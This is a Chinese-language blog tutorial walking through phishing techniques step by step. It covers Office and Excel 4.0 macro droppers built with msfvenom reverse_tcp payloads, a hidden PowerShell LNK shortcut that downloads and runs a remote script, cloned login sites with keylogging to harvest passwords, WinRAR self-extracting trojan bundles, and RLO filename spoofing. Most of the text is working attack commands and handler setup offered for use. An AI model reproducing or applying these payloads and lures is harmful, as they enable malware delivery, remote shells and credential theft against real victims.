当前位置: 首页 > news >正文

钓鱼的常见几种方式

钓鱼的多种方式

office钓鱼攻击

宏与宏病毒

# 宏
宏是office自带的一种高级脚本特性,通过VBA代码,可以在office中去完成某项特定的任务,而不必再重复相同的动作,目的是让用户文档中一些任务自动化# 宏病毒
宏病毒是一种寄存在文档或模板的宏中的计算机病毒,打开这中文档,其中的宏就会被执行,宏病毒被激活,转移到计算机上

docx钓鱼攻击

# word远程模板执行宏
利用word文档加载附加模板是的缺陷所发起的恶意请求而达到的攻击目的,所以当目标用户点开攻击者发给他的恶意word文档就可以通过向远程服务器发送恶意请求的方式,然后加载模板执行恶意模板的宏# 攻击方法
1,创建两个不同的文件,第一个是启用宏的模板,或是.dotm文件,他将包含恶意VBA宏。2,创建第一个文件,不包含恶意代码,但是有指向恶意模板文件的目标链接,即指向创建的第一个文件的链接
实践操作
  • 利用msf生成宏病毒
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.110.131 LPORT=4444 -e x86/shikata-ga_nai -i 10 -f vba-exe   //会生成两端代码,macro的写在宏代码中 payload的写在word文档中

在这里插入图片描述

在这里插入图片描述

  • 创建一个word注入宏
创建word(.docm后缀的文件)-点击工具-宏编辑器

在这里插入图片描述

  • 将msf生成的宏(第一段代码 macro)插入代码中,保存并关闭

在这里插入图片描述

  • 将生成的payload复制到文档中

在这里插入图片描述

  • msf端使用监听ip以及端口
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.110.131
set LPORT 4444
run
打开docm文件,并且启用宏s
之后会弹出meterfer的shell

在这里插入图片描述

excel 宏

当把恶意的宏代码嵌入excel中,用户打开excel文件里的宏就会被触发#攻击方法
1,使用msf生成hack.msi放到远程的服务器上2,使用excel插入宏3,将插入的宏隐藏
实践操作
  • msf生成excel宏
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.131 LPORT=4444 -f msi -o hack.msi

在这里插入图片描述

  • 打开一个excel,右键点击sheet表格-插入-点击宏代码-在新建的宏表中插入宏代码

在这里插入图片描述

=EXEC("msiexec /q /i http://192.168.110.131:8000/hack.msi")   //调用执行服务器上的dayu.msi文件
=HALT()      //标识Excel 4.0宏结束,类似C语言return指令
//http://192.168.110.131:8000/hack.msi可以在vps中使用python -m http.server搭建一个网站

在这里插入图片描述

  • 将单元格设置为Auto_open

在这里插入图片描述

  • 将宏表进行隐藏

在这里插入图片描述

  • 保存为xslm文件

在这里插入图片描述

  • 受害主机点击此文件之后msf端会看到反弹的shell
    在这里插入图片描述

CHM电子书钓鱼

# CHM 已编译的帮助文件
html文件格式被压缩和重整以后,就被制成了这种二进制的。chm扩展文件格式。
.chm文件格式由压缩的html文件、图像、javascript这些文件组合而成,同时,他可能还带有超链接目录、索引以及全文检索功能。# 电子书木马钓鱼优点
1.因为电子书一般是在本地电脑域打开的,所以获得的权限也是本地电脑域的权限
2。由于木马镶嵌再电子书中,所以一般的杀毒软件无法对其中存在的木马病毒进行检查和清除# 攻击方法
1,编写恶意代码,制作钓鱼文件(可使用MyJSRat工具)
2,将恶意代码放在服务器上并且监听
3,制作带恶意代码的chm电子书(可使用Easy CHM)

lnk快捷方式钓鱼

# lnk文件
用于指向其他文件的一种文件。这些文件通常称为快捷方式文件,通常他以快捷方式放在硬盘上,方便使用者快速的调用# 攻击方法
1,使用cs进行web投递生成a脚本http://192.168.110.131:80/a2.在桌面右键创建快捷方式
目标填写payload(例如:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://192.168.110.131:80/a')"cs生成payload:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.110.131:80/a'))"3.为了让快捷方式伪装的像诱导文件,可以选择更改图标,并且更改文件名
实践操作
  • 使用cs生成一段ps脚本,意思为远程下载脚本并运行。主机访问后能直接运行,自动下载payload并上线

在这里插入图片描述

在这里插入图片描述

  • 创建快捷方式

在这里插入图片描述

  • 填写payload并保存为pdf
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://192.168.110.131:80/a')"cs生成的payload为
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.110.131:80/a'))"填写的payload最好知名powershell的存在位置

在这里插入图片描述

  • 右键属性修改图标,图标文件可在**%SystemRoot%\System32\SHELL32.dll**中寻找

在这里插入图片描述

  • 点击文件之后上线成功

在这里插入图片描述

克隆网站钓鱼

克隆网站主要模仿相关网页的页面格式,与原网站类似,且域名相差不大,看到类似的网站一般情况下都会输入账号和密码,同时诱导受害人下载恶意文件,也可以劫持网页,记录键盘输入等操作# 攻击方法
利用cs克隆网站# 说明
有些网站可以克隆成功,但是不能得到用户输入的数据
实践操作
  • 使用cs克隆想要盗取的网站

在这里插入图片描述

  • 输入要克隆的网站,记得勾选在克隆的站点启用键盘记录

在这里插入图片描述

  • 访问生成的网站,并输入用户名密码

在这里插入图片描述

在这里插入图片描述

  • 在cs的视图-web日志可以看到网站的访问情况和输入的用户名和密码

在这里插入图片描述

在这里插入图片描述

自解压捆绑钓鱼

使用winrar将可执行文件和图片捆绑在一起并添加到压缩文件,创建自解压格式并设置解压后运行,在模式中选择隐藏
实践操作
  • 使用cs生成木马,并且将这个木马和图片放在一个文件夹中,选中这两个,右键添加到压缩文件
  • 进行自解压

在这里插入图片描述

  • 来到高级选项-自解压选项-修改解压路径

在这里插入图片描述

  • 在高级解压选项的设置中选择解压后运行,并设置木马的路径和图片路径(图片名最好简单一点 不要有空格 像我下面图片这样命名最后就解析失败了)

在这里插入图片描述

  • 在高级解压选项的模式中选择全部隐藏

在这里插入图片描述

  • 在高级解压选项的更新中选择以下选项

在这里插入图片描述

  • 将可执行文件的图标改为一张图片(需要将图片转为图标,后缀为.ico可利用在线网站),在高级解压选项的文本和图标中选择以下选项

在这里插入图片描述

  • 生成可执行文件

在这里插入图片描述

  • 运行执行文件会弹出图片
    在这里插入图片描述

  • 查看cs上线成功
    在这里插入图片描述

ets%2Fimage-20240821111536856.png&pos_id=img-wKkexOJ9-1724221495137)

  • 如果想要更逼真一点可以使用RLO
1.右键.exe文件重命名
2,重命名时再右键插入RLO
4,想要什么后缀,就将后缀名倒着写即可,例如word就是drow,png就是gnp

在这里插入图片描述

  • 改名后再次点击,仍然上线成功


在这里插入图片描述

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • css之grid布局(网格布局)
  • 力扣 128. 最长连续序列
  • 深度学习加速秘籍:PyTorch torch.backends.cudnn 模块全解析
  • python办公自动化:初识`python-docx`
  • win10 新建、删除文件不会自动刷新的问题解决方案
  • 92.WEB渗透测试-信息收集-Google语法(6)
  • idea 2024.2切换到旧版的UI
  • CTF杂项题:easy_nbt writeup
  • 强!34.1K star! 再见Postman,新一代API测试利器,功能强大、颜值爆表!
  • C++ 内嵌 python 解释器
  • 【机器学习】AGI的基本概念、技术挑战和应用前景
  • ELK进阶-安全认证设置流程介绍
  • Kubernetes中如何对etcd进行备份和还原
  • springboot的启动流程原理
  • 各种JOIN的区别
  • 时间复杂度分析经典问题——最大子序列和
  • Java Agent 学习笔记
  • Joomla 2.x, 3.x useful code cheatsheet
  • MySQL的数据类型
  • Python 基础起步 (十) 什么叫函数?
  • rabbitmq延迟消息示例
  • Redis的resp协议
  • 区块链技术特点之去中心化特性
  • 容器化应用: 在阿里云搭建多节点 Openshift 集群
  • 如何用Ubuntu和Xen来设置Kubernetes?
  • 我的业余项目总结
  • Nginx实现动静分离
  • # 手柄编程_北通阿修罗3动手评:一款兼具功能、操控性的电竞手柄
  • #13 yum、编译安装与sed命令的使用
  • (2022 CVPR) Unbiased Teacher v2
  • (html转换)StringEscapeUtils类的转义与反转义方法
  • (Java岗)秋招打卡!一本学历拿下美团、阿里、快手、米哈游offer
  • (php伪随机数生成)[GWCTF 2019]枯燥的抽奖
  • (SpringBoot)第七章:SpringBoot日志文件
  • (二) Windows 下 Sublime Text 3 安装离线插件 Anaconda
  • (附源码)计算机毕业设计ssm电影分享网站
  • (四)activit5.23.0修复跟踪高亮显示BUG
  • (四)图像的%2线性拉伸
  • (图)IntelliTrace Tools 跟踪云端程序
  • **CI中自动类加载的用法总结
  • **PyTorch月学习计划 - 第一周;第6-7天: 自动梯度(Autograd)**
  • .NET Core 项目指定SDK版本
  • .NET Framework Client Profile - a Subset of the .NET Framework Redistribution
  • .NET MAUI学习笔记——2.构建第一个程序_初级篇
  • .net Signalr 使用笔记
  • .Net 中Partitioner static与dynamic的性能对比
  • .NET/C# 将一个命令行参数字符串转换为命令行参数数组 args
  • .NET学习全景图
  • .net中生成excel后调整宽度
  • .sdf和.msp文件读取
  • /proc/stat文件详解(翻译)
  • [20161101]rman备份与数据文件变化7.txt
  • [20170728]oracle保留字.txt
  • [AI]文心一言爆火的同时,ChatGPT带来了这么多的开源项目你了解吗
  • [BJDCTF2020]EzPHP1